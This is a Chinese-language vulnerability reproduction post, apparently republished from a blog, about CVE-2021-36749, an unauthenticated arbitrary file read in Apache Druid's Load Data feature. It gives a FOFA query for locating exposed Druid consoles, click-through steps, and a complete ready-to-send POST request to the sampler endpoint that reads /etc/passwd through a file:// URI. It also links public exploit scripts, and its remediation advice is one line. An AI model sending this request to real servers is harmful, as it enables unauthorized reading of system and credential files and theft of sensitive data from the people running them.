【漏洞復現】CVE-2021-36749 Apache Druid LoadData 任意文件讀取漏洞



0x00 漏洞詳情

由於用戶指定 HTTP InputSource 沒有做出限制,可以通過將文件 URL 傳遞給 HTTP
InputSource 來繞過應用程序級別的限制。攻擊者可利用該漏洞在未授權情況下,構造惡意請求執行文件讀取,最終造成服務器敏感性信息泄露。

0x01 fofa語法

title="Apache Druid"

0x02 漏洞復現

主界面–>Load data –>HTTP(s)–>Connect Data–>URIs(使用file://協議進行讀取)

file:///etc/passwd

POC:

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 413
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json;charset=UTF-8
Referer: http://127.0.0.1:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"regex","pattern":"(.*)","columns":["a"],"dimensionsSpec":{},"timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"2010-01-01T00:00:00Z"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

0x03 利用腳本

  • https://github.com/BrucessKING/CVE-2021-36749/blob/main/CVE-2021-36749.py
  • https://github.com/dorkerdevil/CVE-2021-36749/blob/main/CVE-2021-36749.py

0x04 修復方法

升級版本,設置訪問權限

轉載請注明:Adminxe's Blog » 【漏洞復現】CVE-2021-36749 Apache Druid LoadData 任意文件讀取漏洞

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM